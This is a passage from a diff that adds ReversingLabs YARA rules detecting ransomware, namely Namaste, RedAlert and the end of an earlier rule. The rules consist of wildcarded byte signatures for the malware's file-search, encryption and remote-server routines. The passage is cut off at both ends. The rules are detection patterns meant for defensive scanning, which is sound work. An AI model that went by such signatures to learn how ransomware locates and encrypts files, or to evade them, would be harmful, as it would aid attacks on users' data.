+            4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ??
+            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
+            53 50 8D 4D ?? E8 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 39 BD ?? ?? ??
+            ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 9D ?? ??
+            ?? ?? 88 9D ?? ?? ?? ?? 39 7D ?? 8B 75 ?? 73 ?? 8D 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ??
+            ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0
+        }
+		$file_search_p2 = {
+            74 ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 3B
+            C3 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74
+            ?? 8B 45 ?? 3A C3 0F 84 ?? ?? ?? ?? 50 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 3B
+            F3 0F 84 ?? ?? ?? ?? 39 7D ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 7D ?? 72
+            ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 88 5D ?? 39 7D
+            ?? 0F 82 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 E9 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 38 1E 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 89 5D ??
+            39 7D ?? 8B 45 ?? 73 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB
+            ?? B8 ?? ?? ?? ?? C3
+        }
+		$encrypt_file_1 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ??
+            33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41
+            3B C8 72 ?? 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ??
+            ?? ?? ?? C3 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B
+            F8 83 FF ?? 75 ?? 5F 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ??
+            ?? C3 53 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 57 FF 15 ?? ?? ?? ?? 5B 5F
+            5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 6A ?? FF 15
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 53 56
+            57 FF 15 ?? ?? ?? ?? 33 C0 85 DB 76 ?? 8D 49 ?? 80 34 30 ?? 40 3B C3 72 ?? 6A ?? 6A
+            ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 53 56 57 FF 15 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 0F B7 4C 24 ?? 0F B7
+            54 24 ?? 68 ?? ?? ?? ?? 50 0F B7 44 24 ?? 51 0F B7 4C 24 ?? 52 0F B7 54 24 ?? 50 51
+            52 55 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 55 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B
+            8C 24 ?? ?? ?? ?? 5B 5F 5E B8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+        }
+		$encrypt_file_2 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 55 8B AC 24 ?? ?? ?? ?? 56 55 89 84 24 ?? ?? ?? ??
+            33 F6 FF 15 ?? ?? ?? ?? 33 C9 85 C0 76 ?? 8D 9B ?? ?? ?? ?? 80 3C 29 ?? 75 ?? 46 41
+            3B C8 72 ?? 83 FE ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 55 FF 15 ??
+            ?? ?? ?? 8B F0 83 FE ?? 75 ?? 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4
+            ?? ?? ?? ?? C3 53 6A ?? 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 73 ?? 56 FF 15 ?? ?? ??
+            ?? 5B 5E 33 C0 5D 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 57 8D 83
+            ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8B F8 FF 15 ?? ?? ?? ??
+            6A ?? 8D 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 8B CB C1 E9 ?? 41 74 ?? 8D 47 ?? B2
+            ?? 80 70 ?? ?? 80 70 ?? ?? 80 30 ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ?? 80 70 ?? ??
+            30 50 ?? 83 C0 ?? 49 75 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ??
+            52 53 57 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ??
+            0F B7 4C 24 ?? 0F B7 54 24 ?? 0F B7 44 24 ?? 68 ?? ?? ?? ?? 51 0F B7 4C 24 ?? 52 0F
+            B7 54 24 ?? 50 0F B7 44 24 ?? 51 52 50 55 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ??
+            ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15
+            ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5B 5E B8 ?? ?? ?? ?? 5D E8
+            ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+        }
+		$remote_server_1 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 56 57 68 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 33 FF 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB
+            BD ?? ?? ?? ?? 8B 44 24 ?? BA ?? ?? ?? ?? 8B CB D3 E2 85 D0 0F 84 ?? ?? ?? ?? 8A CB
+            8D 54 24 ?? 80 C1 ?? 52 88 4C 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 44
+            24 ?? 50 FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D
+            50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 4C 24 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54
+            24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 44 24 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ??
+            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ??
+            ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+        }
+		$remote_server_2 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 57 33 FF 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 84
+            24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ??
+            0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 87 ?? ?? ?? ?? 53 55 56 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
+            8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 44 24 ?? 33 DB BD ?? ??
+            ?? ?? 8B CB B8 ?? ?? ?? ?? D3 E0 8B 4C 24 ?? 85 C1 0F 84 ?? ?? ?? ?? 8A D3 8D 44 24
+            ?? 80 C2 ?? 50 88 54 24 ?? 66 C7 44 24 ?? ?? ?? FF D6 83 F8 ?? 74 ?? 8D 4C 24 ?? 51
+            FF D6 83 F8 ?? 75 ?? 8D 44 24 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 8D 50 ?? 8A
+            08 40 84 C9 75 ?? 2B C2 50 8D 54 24 ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 6A
+            ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 F8 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ??
+            ?? 83 C4 ?? 89 6C 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? 43 83 FB ?? 0F 8C ?? ?? ?? ?? E8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B
+            8C 24 ?? ?? ?? ?? 5E 5D 5B 33 C0 5F E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 ?? ?? 57 FF
+            15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($file_search_p*)) and ((($encrypt_file_1) and ($remote_server_1)) or (($encrypt_file_2) and ($remote_server_2)))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Namaste : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Namaste ransomware."
+		author = "ReversingLabs"
+		id = "e85d7ec3-367b-5bde-a570-8caa1f6cd61b"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara#L1-L81"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5a952276f41b5524bcb82a9ceb076983d2faf2864b3bbd0a06d49bbd5edc1e0e"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Namaste"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_p1 = {
+            03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 02 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32
+            ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 08 09 9A 13 ?? 02 11 ?? 28 ?? ??
+            ?? ?? 17 28 ?? ?? ?? ?? 09 17 58 0D 09 08 8E 69 32 ?? DE ?? 26 DE ?? 2A
+        }
+		$find_files_p2 = {
+            02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 17 2A 03 6F ?? ?? ?? ??
+            0A 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
+            ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2C ?? 03 72 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 2D ?? 16 2A 03 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 03 73 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            20 ?? ?? ?? ?? 6A 31 ?? 16 0C DE ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ??
+            2A 08 2A
+        }
+		$encrypt_files_p1 = {
+            02 03 28 ?? ?? ?? ?? 2C ?? 02 7B ?? ?? ?? ?? 2C ?? 02 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            02 7B ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 02 03 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 2C ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2A
+        }
+		$encrypt_files_p2 = {
+            1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 20 ?? ?? ??
+            ?? 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
+            ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1B 28 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F
+            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 02 07
+            28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            DC 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
+        }
+		$encrypt_files_p3 = {
+            28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 26 73 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 18 6F ?? ?? ?? ?? 04 14 73 ?? ?? ?? ?? 0B 06 07 06
+            6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 07 06 6F ?? ?? ?? ?? 1E 5B 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 06 1A 6F ?? ?? ?? ?? 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ??
+            ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 03 19 73 ?? ?? ?? ?? 13 ?? 20 ??
+            ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 2B ?? 09 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11
+            ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 30 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 09
+            2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 03 28 ?? ?? ?? ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Linux_Ransomware_Redalert : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects RedAlert ransomware."
+		author = "ReversingLabs"
+		id = "ec7567bf-2c39-529f-ae93-74270a161827"
+		date = "2022-09-01"
+		modified = "2022-09-01"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Linux.Ransomware.RedAlert.yara#L1-L146"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fe0d10c2ef1dacdb5374f319e470274b91f4f171db49de8c89e8aaa9aa75a45c"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "RedAlert"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 74 24 ?? BE ?? ?? ?? ?? 48
+            89 54 24 ?? 48 89 4C 24 ?? 4C 89 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 75 ?? BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 89 C3 75 ?? BF ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 48 8D 54 24 ??
+            89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C0 75 ?? BF ?? ?? ?? ?? EB ?? 4C 8B B4 24 ??
+            ?? ?? ?? 4D 85 F6 7F ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? EB ?? 49
+            81 FE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 97 44 24 ?? 49 81 FE ?? ?? ?? ?? 0F 97
+            44 24 ?? 80 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 4C 89 F0 C7 44 24 ?? ?? ?? ?? ?? 48 89
+            D3 31 D2 48 F7 F3 48 6B C8 ?? 48 89 4C 24 ?? 49 81 FE ?? ?? ?? ?? 77 ?? 4D 89 F4 41
+            BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 41 BC ?? ?? ?? ?? 45 31 ED C7 44 24 ??
+            ?? ?? ?? ?? 4D 63 FD C7 44 24 ?? ?? ?? ?? ?? 4C 0F AF 7C 24 ?? E9 ?? ?? ?? ?? 80 7C
+            24 ?? ?? 74 ?? 45 85 ED 74 ?? 80 7C 24 ?? ?? 74 ?? 41 8D 45 ?? 3B 44 24 ?? 4C 89 FE
+            75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 63 7C 24 ??
+            48 89 E9 4C 89 E2 48 03 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 39 E0 74 ?? BF ??
+            ?? ?? ?? EB ?? 44 01 64 24 ?? 41 FF C5 44 3B 6C 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24
+            ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 C0 74 ?? BF ??
+            ?? ?? ?? EB ?? 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 85 C0
+            74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 63 6C 24 ?? 45 89 E7 44 89 64 24 ?? 4C 0F AF
+            6C 24 ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 B8
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84
+        }
+		$encrypt_files_p2 = {
+            C0 75 ?? 48 8B 54 24 ?? 48 8B 7C 24 ?? 48 89 E9 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7
+            15 ?? ?? ?? ?? 48 39 D0 75 ?? 48 8B 44 24 ?? 48 89 E9 BE ?? ?? ?? ?? 0F B7 50 ?? 48
+            8B 38 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F B7 51 ?? 48 39 D0 74 ?? BF ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 03 7C 24 ?? 44 3B 6C 24 ?? 0F 8C ?? ?? ?? ?? E9
+            ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 7C
+            24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 80 7C 24 ?? ?? 74 ?? 8B 44 24 ?? 4C 89 EE FF C0
+            3B 44 24 ?? 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48
+            63 44 24 ?? 48 8B 5C 24 ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C9 31
+            D2 45 89 E1 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 01 C3 48 8D 84 24 ??
+            ?? ?? ?? 49 89 D8 48 89 1C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            48 89 E9 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 39 E0 0F 85 ?? ?? ?? ??
+            FF 44 24 ?? 8B 54 24 ?? 8B 4C 24 ?? 01 54 24 ?? 39 4C 24 ?? 75 ?? 31 F6 BA ?? ?? ??
+            ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 E9 BA ?? ?? ?? ?? BE ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8A 5C 24 ?? 48 83 F8 ?? B0 ?? 0F 44 D8 44 3B 7C 24 ?? 88 5C 24
+            ?? 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 03 7C 24 ?? 4C 03 6C 24 ?? 8B 44 24 ?? 39
+            44 24 ?? 0F 8C ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 0F B6 44 24 ?? 48 81 C4 ?? ?? ??
+            ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3
+        }
+		$find_files_p1 = {
+            41 57 FC 41 56 41 55 41 54 49 89 FC 55 53 48 83 EC ?? 48 8B 84 24 ?? ?? ?? ?? 48 89
+            4C 24 ?? 48 83 C9 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 88 54 24 ?? 48 89
+            44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 44 8A BC 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24
+            ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 31 C0 F2 AE 4C 89
+            E7 48 F7 D1 4C 8D 71 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 83 C4 ?? 4C 89 E6 48 89 C2 5B 5D 41 5C 41 5D 41
+            5E 41 5F BF ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 45 84 FF 48 8D 6B ?? 74 ?? 0F B6 4B ??
+            48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ??
+            80 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84
+            ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ??
+            ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FC 31 C0 48 83 C9 ?? 48 89 EF
+            F2 AE 4C 89 F0 48 29 C8 48 3B 44 24 ?? 76 ?? 48 8B 3D ?? ?? ?? ?? 48 89 E9 4C 89 E2
+            BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EE 48 8D 7B ??
+            C6 03 ?? E8 ?? ?? ?? ?? 41 0F B6 C7 4C 8B 4C 24 ?? 4C 8B 44 24 ?? 89 44 24 ?? 48 8B
+            44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 74 24 ?? 4C 89 E7 48 89 44 24 ?? 48 8B
+        }
+		$find_files_p2 = {
+            44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 04 24 E8
